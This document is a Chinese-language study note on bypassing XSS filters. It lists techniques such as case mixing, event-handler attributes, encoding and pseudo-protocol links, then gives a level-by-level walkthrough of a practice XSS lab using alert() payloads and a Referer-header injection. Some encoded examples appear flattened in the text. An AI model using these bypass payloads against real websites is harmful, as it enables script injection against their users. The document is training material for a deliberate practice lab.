xss常用绕过姿势
- 大小写绕过
利用语句:
http://192.168.1.102/xss/example2.php?name=<sCript>alert("hey!")</scRipt>
- 并不是只有script标签才可以插入代码
以下列举几个常用的可插入代码的标签。
<a onmousemove=’do something here’>
当用户鼠标移动时即可运行代码
<div onmouseover=‘do something here’>
- 编码脚本代码绕过关键字过滤
alert(1)编码过后就是
u0061u006cu0065u0072u0074(1)
- 主动闭合标签实现注入代码
- 利用%0d、%0a(回车换行)代替空格
xss.tesla-space.com
level 3
尝试使用" onmouseover="alert(1)
发现没有达到预测效果,猜测存在过滤。
使用单引号尝试
payload:' onmouseover='alert()
成功绕过
level 5
使用payload=" onmouseover="alert()
发现on中间加了下划线
使用payload="><script>alert(1)</script>
发现ri中间也加了下划线
尝试大小写等无法绕过
就想到利用javascript伪协议 "><a href=javascript:alert(1)>xss</a>
成功绕过
level 6
使用上一题的payload,发现href变成了hr_ef
使用大小写,发现成功绕过
"><a hRef=javascript:alert(/xss/)>xss</a>R
level 7
使用payload=" onmouseover="alert()
结果为:<input name="keyword" value="" mouseover="alert()">
尝试双写on绕过,成功
level 8
采用javascript伪协议,可是被过滤
使用大写无法绕过,使用字符实体对t进行编码
十进制实体编码:javascript:alert(/xss/)
十六进制实体编码:javascript:alert(/xss/)
成功绕过
level 9
尝试使用上一关的payload,发现提示链接不合法,经过多次尝试,发现链接需要包含http://
使用payload=javascript:alert(/xss/)//http://
成功绕过
level 10
该题的url为:https://xss.tesla-space.com/level10.php?keyword=hahaha
发现没有可利用的部分。
查看源代码
下面有三个输入处被隐藏
一个一个进行尝试
payload:?t_link=" onmouseover="alert(1)"type="text
试到第三个,发现起作用。
得到结果
level 11
与上一个题类似,但经过尝试,无法构造t_ref
参数
最后发现是构造http头Referer
得到结果